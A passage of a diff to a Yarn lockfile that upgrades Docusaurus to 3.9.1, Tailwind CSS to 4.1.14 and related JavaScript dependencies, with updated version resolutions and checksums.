"npm:3.9.1" + "@docusaurus/theme-common": "npm:3.9.1" + "@docusaurus/theme-translations": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" "@mdx-js/react": "npm:^3.0.0" clsx: "npm:^2.0.0" - copy-text-to-clipboard: "npm:^3.2.0" infima: "npm:0.2.0-alpha.45" lodash: "npm:^4.17.21" nprogress: "npm:^0.2.0" - postcss: "npm:^8.4.26" + postcss: "npm:^8.5.4" prism-react-renderer: "npm:^2.3.0" prismjs: "npm:^1.29.0" react-router-dom: "npm:^5.3.4" @@ -2434,18 +2575,18 @@ __metadata: peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/e2ec1fdaedc71add6ae1e8ee83ae32132c679afe407850185fbbec82f96c66a3befd506df73a0de0d9e03333c04801017f4c668e63851cb6e814f2ddf6973ad0 + checksum: 10c0/c354205820e2444fc65f39f45fbab6895d25d8629b91ffc377912498a1b876d3aba3749d2807f719a8b177f8dfb15e5dd51be50fd1950fb27b7af26d33691209 languageName: node linkType: hard -"@docusaurus/theme-common@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/theme-common@npm:3.7.0" +"@docusaurus/theme-common@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/theme-common@npm:3.9.1" dependencies: - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/module-type-aliases": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/module-type-aliases": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" "@types/history": "npm:^4.7.11" "@types/react": "npm:*" "@types/react-router-config": "npm:*" @@ -2458,24 +2599,24 @@ __metadata: "@docusaurus/plugin-content-docs": "*" react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/4b5ba21d2d5807a9582cd1fe5280fa0637a7debb8313253793d35435ce92e119406d47564766ec0bf0f93d7d2f8da412883ea4b16972f79bee5bda20ac6f354e + checksum: 10c0/1fcbe15c5ec0bd5033e407020f13fc8589e9ded01c4f55525d998e712d8a7370564118bd285bea12c6d28d4563a8824800261143b02a855742b21390cd57d840 languageName: node linkType: hard -"@docusaurus/theme-search-algolia@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/theme-search-algolia@npm:3.7.0" +"@docusaurus/theme-search-algolia@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/theme-search-algolia@npm:3.9.1" dependencies: - "@docsearch/react": "npm:^3.8.1" - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/plugin-content-docs": "npm:3.7.0" - "@docusaurus/theme-common": "npm:3.7.0" - "@docusaurus/theme-translations": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" - algoliasearch: "npm:^5.17.1" - algoliasearch-helper: "npm:^3.22.6" + "@docsearch/react": "npm:^3.9.0 || ^4.1.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/plugin-content-docs": "npm:3.9.1" + "@docusaurus/theme-common": "npm:3.9.1" + "@docusaurus/theme-translations": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" + algoliasearch: "npm:^5.37.0" + algoliasearch-helper: "npm:^3.26.0" clsx: "npm:^2.0.0" eta: "npm:^2.2.0" fs-extra: "npm:^11.1.1" @@ -2485,33 +2626,34 @@ __metadata: peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/4766e2571b64cc895e7ab3af750e9158527f3ebe238605f325defe755ddd938af9b01d711b932b3c6639b31b2d69a6f360b2870fa1104599829c276a30457f6e + checksum: 10c0/23260e8ef77a62eb34df44fc8717ef746ba656c0e8ccc369809d6ec70f457116d2d01d1e412e4022acba342c2bae2fe8216ebcfaaac716533fefe1f297ee864f languageName: node linkType: hard -"@docusaurus/theme-translations@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/theme-translations@npm:3.7.0" +"@docusaurus/theme-translations@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/theme-translations@npm:3.9.1" dependencies: fs-extra: "npm:^11.1.1" tslib: "npm:^2.6.0" - checksum: 10c0/47721f98fdaa34004e2df555e89dd4d751942c9d8efe2df3816bc6b761a068058e31887086a1d1498394fc53c859340b6ce9e15ee65e926e05c7c1e2429497ad + checksum: 10c0/e73d537637c80fe75706170eae7049dc54b8444ef1b47b9c71e7825f7179d9d87e2541f25bc8cf3ad8cf0c5fa3b382298e7cf22820cfca42c7a338873c2fb690 languageName: node linkType: hard -"@docusaurus/tsconfig@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/tsconfig@npm:3.7.0" - checksum: 10c0/22a076fa3cf6da25a76f87fbe5b37c09997f5a8729fdc1a69c0c7955dff9f9850f16dc1de8c6d5096d258a95c428fb8839b252b9dbaa648acb7de8a0e5889dea +"@docusaurus/tsconfig@npm:^3.9.1": + version: 3.9.1 + resolution: "@docusaurus/tsconfig@npm:3.9.1" + checksum: 10c0/32d7ca684cbb7554208a7f51b6e01227e43470fee14516667effc74ed848a4b1e3bb3e03da11fd0fea3010a36df515cbb079fd1bc01ddd10f4ba382849e99eea languageName: node linkType: hard -"@docusaurus/types@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/types@npm:3.7.0" +"@docusaurus/types@npm:3.9.1, @docusaurus/types@npm:^3.9.1": + version: 3.9.1 + resolution: "@docusaurus/types@npm:3.9.1" dependencies: "@mdx-js/mdx": "npm:^3.0.0" "@types/history": "npm:^4.7.11" + "@types/mdast": "npm:^4.0.2" "@types/react": "npm:*" commander: "npm:^5.1.0" joi: "npm:^17.9.2" @@ -2522,44 +2664,45 @@ __metadata: peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/256d3b579e0f663096d915cfd34851564a243dd3b587901f0b8de7988ea021bf4c9f9bcb9d632f52cddb37f53959be8d93728421ddbba7f9c98a36f0dec454cd + checksum: 10c0/6e42f10ca3ba14a67ba17d078f6fb74551641b3ee1027700522b8d04298006b97587b6ecb7d395a0432ee64c0708f954a16452ca8cc10555c02122e6f9dfa65b languageName: node linkType: hard -"@docusaurus/utils-common@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/utils-common@npm:3.7.0" +"@docusaurus/utils-common@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/utils-common@npm:3.9.1" dependencies: - "@docusaurus/types": "npm:3.7.0" + "@docusaurus/types": "npm:3.9.1" tslib: "npm:^2.6.0" - checksum: 10c0/a02dc936f256ceb1a95e57556d556bd57576124eb903928fccfa19e3fa098ee5a2e637663b372c8f797c50ab9df7c0e94f59b3b728198a408fa191689f2aa7e7 + checksum: 10c0/a1b4837af03f89b0a4c00943f66a53caa5c2637a7410ebaf1d3779727a8ad8b24dcfcab541f9bb49ff89e3e831521202b50fdff12c30e76b6f519e4e4bbf093a languageName: node linkType: hard -"@docusaurus/utils-validation@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/utils-validation@npm:3.7.0" +"@docusaurus/utils-validation@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/utils-validation@npm:3.9.1" dependencies: - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" fs-extra: "npm:^11.2.0" joi: "npm:^17.9.2" js-yaml: "npm:^4.1.0" lodash: "npm:^4.17.21" tslib: "npm:^2.6.0" - checksum: 10c0/f0b67f93879b23c3238f66dde0361999399e40a61bb2531ba044939d136ed112e4d0304a598f718942e897d6abd3fd4e75d03d21e559fc2197a0d6324926668f + checksum: 10c0/7146b682d0bb8da2dd3fb886233e177b12ecb0a096984b71ca5396b32bb9c83c077002bcd41350b0b173a919671692dc2e8a124a0bd9276ff336587b51ecfcac languageName: node linkType: hard -"@docusaurus/utils@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/utils@npm:3.7.0" +"@docusaurus/utils@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/utils@npm:3.9.1" dependencies: - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" escape-string-regexp: "npm:^4.0.0" + execa: "npm:5.1.1" file-loader: "npm:^6.2.0" fs-extra: "npm:^11.1.1" github-slugger: "npm:^1.5.0" @@ -2569,42 +2712,42 @@ __metadata: js-yaml: "npm:^4.1.0" lodash: "npm:^4.17.21" micromatch: "npm:^4.0.5" + p-queue: "npm:^6.6.2" prompts: "npm:^2.4.2" resolve-pathname: "npm:^3.0.0" - shelljs: "npm:^0.8.5" tslib: "npm:^2.6.0" url-loader: "npm:^4.1.1" utility-types: "npm:^3.10.0" webpack: "npm:^5.88.1" - checksum: 10c0/8d6dbb5c776e0cbf0c8437a81d0d97ff6f51ca259c9d3baa0e1b26849e48a016d02fb2ec80290dc2b8e434ca3dd1388ad4b44de2d101d5edea50de64531ccef1 + checksum: 10c0/34198a43be5480b60b5d8aa2627f99e25bc2606adb30a1c510cc80f481e7dfd208270bb1d10b416e3466cf26cd1c1fe5cf5f476eee82c86c219b3088b82c53ed languageName: node linkType: hard -"@emnapi/core@npm:^1.4.3": - version: 1.4.3 - resolution: "@emnapi/core@npm:1.4.3" +"@emnapi/core@npm:^1.5.0": + version: 1.5.0 + resolution: "@emnapi/core@npm:1.5.0" dependencies: - "@emnapi/wasi-threads": "npm:1.0.2" + "@emnapi/wasi-threads": "npm:1.1.0" tslib: "npm:^2.4.0" - checksum: 10c0/e30101d16d37ef3283538a35cad60e22095aff2403fb9226a35330b932eb6740b81364d525537a94eb4fb51355e48ae9b10d779c0dd1cdcd55d71461fe4b45c7 + checksum: 10c0/52ba3485277706d92fa27d92b37e5b4f6ef0742c03ed68f8096f294c6bfa30f0752c82d4c2bfa14bff4dc30d63c9f71a8f9fb64a92743d00807d9e468fafd5ff languageName: node linkType: hard -"@emnapi/runtime@npm:^1.4.3": - version: 1.4.3 - resolution: "@emnapi/runtime@npm:1.4.3" +"@emnapi/runtime@npm:^1.5.0": + version: 1.5.0 + resolution: "@emnapi/runtime@npm:1.5.0" dependencies: tslib: "npm:^2.4.0" - checksum: 10c0/3b7ab72d21cb4e034f07df80165265f85f445ef3f581d1bc87b67e5239428baa00200b68a7d5e37a0425c3a78320b541b07f76c5530f6f6f95336a6294ebf30b + checksum: 10c0/a85c9fc4e3af49cbe41e5437e5be2551392a931910cd0a5b5d3572532786927810c9cc1db11b232ec8f9657b33d4e6f7c4f985f1a052917d7cd703b5b2a20faa languageName: node linkType: hard -"@emnapi/wasi-threads@npm:1.0.2, @emnapi/wasi-threads@npm:^1.0.2": - version: 1.0.2 - resolution: "@emnapi/wasi-threads@npm:1.0.2" +"@emnapi/wasi-threads@npm:1.1.0, @emnapi/wasi-threads@npm:^1.1.0": + version: 1.1.0 + resolution: "@emnapi/wasi-threads@npm:1.1.0" dependencies: tslib: "npm:^2.4.0" - checksum: 10c0/f0621b1fc715221bd2d8332c0ca922617bcd77cdb3050eae50a124eb8923c54fa425d23982dc8f29d505c8798a62d1049bace8b0686098ff9dd82270e06d772e + checksum: 10c0/e6d54bf2b1e64cdd83d2916411e44e579b6ae35d5def0dea61a3c452d9921373044dff32a8b8473ae60c80692bdc39323e98b96a3f3d87ba6886b24dd0ef7ca1 languageName: node linkType: hard @@ -2670,14 +2813,23 @@ __metadata: languageName: node linkType: hard -"@jridgewell/gen-mapping@npm:^0.3.5": - version: 0.3.8 - resolution: "@jridgewell/gen-mapping@npm:0.3.8" +"@jridgewell/gen-mapping@npm:^0.3.12, @jridgewell/gen-mapping@npm:^0.3.5": + version: 0.3.13 + resolution: "@jridgewell/gen-mapping@npm:0.3.13" dependencies: - "@jridgewell/set-array": "npm:^1.2.1" - "@jridgewell/sourcemap-codec": "npm:^1.4.10" + "@jridgewell/sourcemap-codec": "npm:^1.5.0" "@jridgewell/trace-mapping": "npm:^0.3.24" - checksum: 10c0/c668feaf86c501d7c804904a61c23c67447b2137b813b9ce03eca82cb9d65ac7006d766c218685d76e3d72828279b6ee26c347aa1119dab23fbaf36aed51585a + checksum: 10c0/9a7d65fb13bd9aec1fbab74cda08496839b7e2ceb31f5ab922b323e94d7c481ce0fc4fd7e12e2610915ed8af51178bdc61e168e92a8c8b8303b030b03489b13b + languageName: node + linkType: hard + +"@jridgewell/remapping@npm:^2.3.4, @jridgewell/remapping@npm:^2.3.5": + version: 2.3.5 + resolution: "@jridgewell/remapping@npm:2.3.5" + dependencies: + "@jridgewell/gen-mapping": "npm:^0.3.5" + "@jridgewell/trace-mapping": "npm:^0.3.24" + checksum: 10c0/3de494219ffeb2c5c38711d0d7bb128097edf91893090a2dbc8ee0b55d092bb7347b1fd0f478486c5eab010e855c73927b1666f2107516d472d24a73017d1194 languageName: node linkType: hard @@ -2688,37 +2840,99 @@ __metadata: languageName: node linkType: hard -"@jridgewell/set-array@npm:^1.2.1": - version: 1.2.1 - resolution: "@jridgewell/set-array@npm:1.2.1" - checksum: 10c0/2a5aa7b4b5c3464c895c802d8ae3f3d2b92fcbe84ad12f8d0bfbb1f5ad006717e7577ee1fd2eac00c088abe486c7adb27976f45d2941ff6b0b92b2c3302c60f4 - languageName: node - linkType: hard - "@jridgewell/source-map@npm:^0.3.3": - version: 0.3.6 - resolution: "@jridgewell/source-map@npm:0.3.6" + version: 0.3.11 + resolution: "@jridgewell/source-map@npm:0.3.11" dependencies: "@jridgewell/gen-mapping": "npm:^0.3.5" "@jridgewell/trace-mapping": "npm:^0.3.25" - checksum: 10c0/6a4ecc713ed246ff8e5bdcc1ef7c49aaa93f7463d948ba5054dda18b02dcc6a055e2828c577bcceee058f302ce1fc95595713d44f5c45e43d459f88d267f2f04 + checksum: 10c0/50a4fdafe0b8f655cb2877e59fe81320272eaa4ccdbe6b9b87f10614b2220399ae3e05c16137a59db1f189523b42c7f88bd097ee991dbd7bc0e01113c583e844 languageName: node linkType: hard -"@jridgewell/sourcemap-codec@npm:^1.4.10, @jridgewell/sourcemap-codec@npm:^1.4.14, @jridgewell/sourcemap-codec@npm:^1.5.0": - version: 1.5.0 - resolution: "@jridgewell/sourcemap-codec@npm:1.5.0" - checksum: 10c0/2eb864f276eb1096c3c11da3e9bb518f6d9fc0023c78344cdc037abadc725172c70314bdb360f2d4b7bffec7f5d657ce006816bc5d4ecb35e61b66132db00c18 +"@jridgewell/sourcemap-codec@npm:^1.4.14, @jridgewell/sourcemap-codec@npm:^1.5.0, @jridgewell/sourcemap-codec@npm:^1.5.5": + version: 1.5.5 + resolution: "@jridgewell/sourcemap-codec@npm:1.5.5" + checksum: 10c0/f9e538f302b63c0ebc06eecb1dd9918dd4289ed36147a0ddce35d6ea4d7ebbda243cda7b2213b6a5e1d8087a298d5cf630fb2bd39329cdecb82017023f6081a0 languageName: node linkType: hard -"@jridgewell/trace-mapping@npm:^0.3.18, @jridgewell/trace-mapping@npm:^0.3.24, @jridgewell/trace-mapping@npm:^0.3.25": - version: 0.3.25 - resolution: "@jridgewell/trace-mapping@npm:0.3.25" +"@jridgewell/trace-mapping@npm:^0.3.18, @jridgewell/trace-mapping@npm:^0.3.24, @jridgewell/trace-mapping@npm:^0.3.25, @jridgewell/trace-mapping@npm:^0.3.28": + version: 0.3.31 + resolution: "@jridgewell/trace-mapping@npm:0.3.31" dependencies: "@jridgewell/resolve-uri": "npm:^3.1.0" "@jridgewell/sourcemap-codec": "npm:^1.4.14" - checksum: 10c0/3d1ce6ebc69df9682a5a8896b414c6537e428a1d68b02fcc8363b04284a8ca0df04d0ee3013132252ab14f2527bc13bea6526a912ecb5658f0e39fd2860b4df4 + checksum: 10c0/4b30ec8cd56c5fd9a661f088230af01e0c1a3888d11ffb6b47639700f71225be21d1f7e168048d6d4f9449207b978a235c07c8f15c07705685d16dc06280e9d9 + languageName: node + linkType: hard + +"@jsonjoy.com/base64@npm:^1.1.2": + version: 1.1.2 + resolution: "@jsonjoy.com/base64@npm:1.1.2" + peerDependencies: + tslib: 2 + checksum: 10c0/88717945f66dc89bf58ce75624c99fe6a5c9a0c8614e26d03e406447b28abff80c69fb37dabe5aafef1862cf315071ae66e5c85f6018b437d95f8d13d235e6eb + languageName: node + linkType: hard + +"@jsonjoy.com/buffers@npm:^1.0.0, @jsonjoy.com/buffers@npm:^1.2.0": + version: 1.2.1 + resolution: "@jsonjoy.com/buffers@npm:1.2.1" + peerDependencies: + tslib: 2 + checksum: 10c0/5edaf761b78b730ae0598824adb37473fef5b40a8fc100625159700eb36e00057c5129c7ad15fc0e3178e8de58a044da65728e8d7b05fd3eed58e9b9a0d02b5a + languageName: node + linkType: hard + +"@jsonjoy.com/codegen@npm:^1.0.0": + version: 1.0.0 + resolution: "@jsonjoy.com/codegen@npm:1.0.0" + peerDependencies: + tslib: 2 + checksum: 10c0/54686352248440ad1484ce7db0270a5a72424fb9651b090e5f1c8e2cd8e55e6c7a3f67dfe4ed90c689cf01ed949e794764a8069f5f52510eaf0a2d0c41d324cd + languageName: node + linkType: hard + +"@jsonjoy.com/json-pack@npm:^1.11.0": + version: 1.21.0 + resolution: "@jsonjoy.com/json-pack@npm:1.21.0" + dependencies: + "@jsonjoy.com/base64": "npm:^1.1.2" + "@jsonjoy.com/buffers": "npm:^1.2.0" + "@jsonjoy.com/codegen": "npm:^1.0.0" + "@jsonjoy.com/json-pointer": "npm:^1.0.2" + "@jsonjoy.com/util": "npm:^1.9.0" + hyperdyperid: "npm:^1.2.0" + thingies: "npm:^2.5.0" + tree-dump: "npm:^1.1.0" + peerDependencies: + tslib: 2 + checksum: 10c0/0183eccccf2ab912389a6784ae81c1a7da48cf178902efe093fb60c457359c7c75da2803f869e0a1489f1342dfa4f8ab9b27b65adc9f44fd9646823773b71e9d + languageName: node + linkType: hard + +"@jsonjoy.com/json-pointer@npm:^1.0.2": + version: 1.0.2 + resolution: "@jsonjoy.com/json-pointer@npm:1.0.2" + dependencies: + "@jsonjoy.com/codegen": "npm:^1.0.0" + "@jsonjoy.com/util": "npm:^1.9.0" + peerDependencies: + tslib: 2 + checksum: 10c0/8d959c0fdd77d937d2a829270de51533bb9e3b887b3f6f02943884dc33dd79225071218c93f4bafdee6a3412fd5153264997953a86de444d85c1fff67915af54 + languageName: node + linkType: hard + +"@jsonjoy.com/util@npm:^1.9.0": + version: 1.9.0 + resolution: "@jsonjoy.com/util@npm:1.9.0" + dependencies: + "@jsonjoy.com/buffers": "npm:^1.0.0" + "@jsonjoy.com/codegen": "npm:^1.0.0" + peerDependencies: + tslib: 2 + checksum: 10c0/a720a6accaae71fa9e7fa06e93e382702aa5760ef2bdc3bc45c19dc2228a01cc735d36cb970c654bc5e88f1328d55d1f0d5eceef0b76bcc327a2ce863e7b0021 languageName: node linkType: hard @@ -2730,13 +2944,14 @@ __metadata: linkType: hard "@mdx-js/mdx@npm:^3.0.0": - version: 3.1.0 - resolution: "@mdx-js/mdx@npm:3.1.0" + version: 3.1.1 + resolution: "@mdx-js/mdx@npm:3.1.1" dependencies: "@types/estree": "npm:^1.0.0" "@types/estree-jsx": "npm:^1.0.0" "@types/hast": "npm:^3.0.0" "@types/mdx": "npm:^2.0.0" + acorn: "npm:^8.0.0" collapse-white-space: "npm:^2.0.0" devlop: "npm:^1.0.0" estree-util-is-identifier-name: "npm:^3.0.0" @@ -2757,30 +2972,30 @@ __metadata: unist-util-stringify-position: "npm:^4.0.0" unist-util-visit: "npm:^5.0.0" vfile: "npm:^6.0.0" - checksum: 10c0/e586ab772dcfee2bab334d5aac54c711e6d6d550085271c38a49c629b3e3954b5f41f488060761284a5e00649d0638d6aba6c0a7c66f91db80dee0ccc304ab32 + checksum: 10c0/371ed95e2bee7731f30a7ce57db66383a0b7470e66c38139427174cb456d6a40bf7d259f3652716370c1de64acfba50a1ba27eb8c556e7a431dc7940b04cb1a1 languageName: node linkType: hard "@mdx-js/react@npm:^3.0.0": - version: 3.1.0 - resolution: "@mdx-js/react@npm:3.1.0" + version: 3.1.1 + resolution: "@mdx-js/react@npm:3.1.1" dependencies: "@types/mdx": "npm:^2.0.0" peerDependencies: "@types/react": ">=16" react: ">=16" - checksum: 10c0/381ed1211ba2b8491bf0ad9ef0d8d1badcdd114e1931d55d44019d4b827cc2752586708f9c7d2f9c3244150ed81f1f671a6ca95fae0edd5797fb47a22e06ceca + checksum: 10c0/34ca98bc2a0f969894ea144dc5c8a5294690505458cd24965cd9be854d779c193ad9192bf9143c4c18438fafd1902e100d99067e045c69319288562d497558c6 languageName: node linkType: hard -"@napi-rs/wasm-runtime@npm:^0.2.9": - version: 0.2.10 - resolution: "@napi-rs/wasm-runtime@npm:0.2.10" +"@napi-rs/wasm-runtime@npm:^1.0.5": + version: 1.0.7 + resolution: "@napi-rs/wasm-runtime@npm:1.0.7" dependencies: - "@emnapi/core": "npm:^1.4.3" - "@emnapi/runtime": "npm:^1.4.3" - "@tybys/wasm-util": "npm:^0.9.0" - checksum: 10c0/4dce9bbb94a8969805574e1b55fdbeb7623348190265d77f6507ba32e535610deeb53a33ba0bb8b05a6520f379d418b92e8a01c5cd7b9486b136d2c0c26be0bd + "@emnapi/core": "npm:^1.5.0" + "@emnapi/runtime": "npm:^1.5.0" + "@tybys/wasm-util": "npm:^0.10.1" + checksum: 10c0/2d8635498136abb49d6dbf7395b78c63422292240963bf055f307b77aeafbde57ae2c0ceaaef215601531b36d6eb92a2cdd6f5ba90ed2aa8127c27aff9c4ae55 languageName: node linkType: hard @@ -2833,6 +3048,13 @@ __metadata: languageName: node linkType: hard +"@opentelemetry/api@npm:1.9.0": + version: 1.9.0 + resolution: "@opentelemetry/api@npm:1.9.0" + checksum: 10c0/9aae2fe6e8a3a3eeb6c1fdef78e1939cf05a0f37f8a4fae4d6bf2e09eb1e06f966ece85805626e01ba5fab48072b94f19b835449e58b6d26720ee19a58298add + languageName: node + linkType: hard + "@pkgjs/parseargs@npm:^0.11.0": version: 0.11.0 resolution: "@pkgjs/parseargs@npm:0.11.0" @@ -2929,6 +3151,13 @@ __metadata: languageName: node linkType: hard +"@standard-schema/spec@npm:^1.0.0": + version: 1.0.0 + resolution: "@standard-schema/spec@npm:1.0.0" + checksum: 10c0/a1ab9a8bdc09b5b47aa8365d0e0ec40cc2df6437be02853696a0e377321653b0d3ac6f079a8c67d5ddbe9821025584b1fb71d9cc041a6666a96f1fadf2ece15f + languageName: node + linkType: hard + "@svgr/babel-plugin-add-jsx-attribute@npm:8.0.0": version: 8.0.0 resolution: "@svgr/babel-plugin-add-jsx-attribute@npm:8.0.0" @@ -3094,130 +3323,130 @@ __metadata: languageName: node linkType: hard -"@tailwindcss/node@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/node@npm:4.1.7" +"@tailwindcss/node@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/node@npm:4.1.14" dependencies: - "@ampproject/remapping": "npm:^2.3.0" - enhanced-resolve: "npm:^5.18.1" - jiti: "npm:^2.4.2" + "@jridgewell/remapping": "npm:^2.3.4" + enhanced-resolve: "npm:^5.18.3" + jiti: "npm:^2.6.0" lightningcss: "npm:1.30.1" - magic-string: "npm:^0.30.17" + magic-string: "npm:^0.30.19" source-map-js: "npm:^1.2.1" - tailwindcss: "npm:4.1.7" - checksum: 10c0/8b646fde531609e8c8dc4745d1db5375fa23f52f28436f09192cce18cdc423075cd4e2477c1bf96b905de5bb22ac915dad9c4e340d9995e4ad2025a1f5835549 + tailwindcss: "npm:4.1.14" + checksum: 10c0/dcdb53217534b5220e8ffd0357848b542935aa5ebcae691ff1ac2924c5c0b89d6150d938ff69c776d9835e53fdb29b6db78367930985bd50b367ddb646778239 languageName: node linkType: hard -"@tailwindcss/oxide-android-arm64@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-android-arm64@npm:4.1.7" +"@tailwindcss/oxide-android-arm64@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-android-arm64@npm:4.1.14" conditions: os=android & cpu=arm64 languageName: node linkType: hard -"@tailwindcss/oxide-darwin-arm64@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-darwin-arm64@npm:4.1.7" +"@tailwindcss/oxide-darwin-arm64@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-darwin-arm64@npm:4.1.14" conditions: os=darwin & cpu=arm64 languageName: node linkType: hard -"@tailwindcss/oxide-darwin-x64@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-darwin-x64@npm:4.1.7" +"@tailwindcss/oxide-darwin-x64@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-darwin-x64@npm:4.1.14" conditions: os=darwin & cpu=x64 languageName: node linkType: hard -"@tailwindcss/oxide-freebsd-x64@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-freebsd-x64@npm:4.1.7" +"@tailwindcss/oxide-freebsd-x64@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-freebsd-x64@npm:4.1.14" conditions: os=freebsd & cpu=x64 languageName: node linkType: hard -"@tailwindcss/oxide-linux-arm-gnueabihf@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-linux-arm-gnueabihf@npm:4.1.7" +"@tailwindcss/oxide-linux-arm-gnueabihf@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-linux-arm-gnueabihf@npm:4.1.14" conditions: os=linux & cpu=arm languageName: node linkType: hard -"@tailwindcss/oxide-linux-arm64-gnu@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-linux-arm64-gnu@npm:4.1.7" +"@tailwindcss/oxide-linux-arm64-gnu@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-linux-arm64-gnu@npm:4.1.14" conditions: os=linux & cpu=arm64 & libc=glibc languageName: node linkType: hard -"@tailwindcss/oxide-linux-arm64-musl@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-linux-arm64-musl@npm:4.1.7" +"@tailwindcss/oxide-linux-arm64-musl@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-linux-arm64-musl@npm:4.1.14" conditions: os=linux & cpu=arm64 & libc=musl languageName: node linkType: hard -"@tailwindcss/oxide-linux-x64-gnu@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-linux-x64-gnu@npm:4.1.7" +"@tailwindcss/oxide-linux-x64-gnu@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-linux-x64-gnu@npm:4.1.14" conditions: os=linux & cpu=x64 & libc=glibc languageName: node linkType: hard -"@tailwindcss/oxide-linux-x64-musl@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-linux-x64-musl@npm:4.1.7" +"@tailwindcss/oxide-linux-x64-musl@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-linux-x64-musl@npm:4.1.14" conditions: os=linux & cpu=x64 & libc=musl languageName: node linkType: hard -"@tailwindcss/oxide-wasm32-wasi@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-wasm32-wasi@npm:4.1.7" - dependencies: - "@emnapi/core": "npm:^1.4.3" - "@emnapi/runtime": "npm:^1.4.3" - "@emnapi/wasi-threads": "npm:^1.0.2" - "@napi-rs/wasm-runtime": "npm:^0.2.9" - "@tybys/wasm-util": "npm:^0.9.0" - tslib: "npm:^2.8.0" +"@tailwindcss/oxide-wasm32-wasi@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-wasm32-wasi@npm:4.1.14" + dependencies: + "@emnapi/core": "npm:^1.5.0" + "@emnapi/runtime": "npm:^1.5.0" + "@emnapi/wasi-threads": "npm:^1.1.0" + "@napi-rs/wasm-runtime": "npm:^1.0.5" + "@tybys/wasm-util": "npm:^0.10.1" + tslib: "npm:^2.4.0" conditions: cpu=wasm32 languageName: node linkType: hard -"@tailwindcss/oxide-win32-arm64-msvc@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-win32-arm64-msvc@npm:4.1.7" +"@tailwindcss/oxide-win32-arm64-msvc@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-win32-arm64-msvc@npm:4.1.14" conditions: os=win32 & cpu=arm64 languageName: node linkType: hard -"@tailwindcss/oxide-win32-x64-msvc@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide-win32-x64-msvc@npm:4.1.7" +"@tailwindcss/oxide-win32-x64-msvc@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide-win32-x64-msvc@npm:4.1.14" conditions: os=win32 & cpu=x64 languageName: node linkType: hard -"@tailwindcss/oxide@npm:4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/oxide@npm:4.1.7" - dependencies: - "@tailwindcss/oxide-android-arm64": "npm:4.1.7" - "@tailwindcss/oxide-darwin-arm64": "npm:4.1.7" - 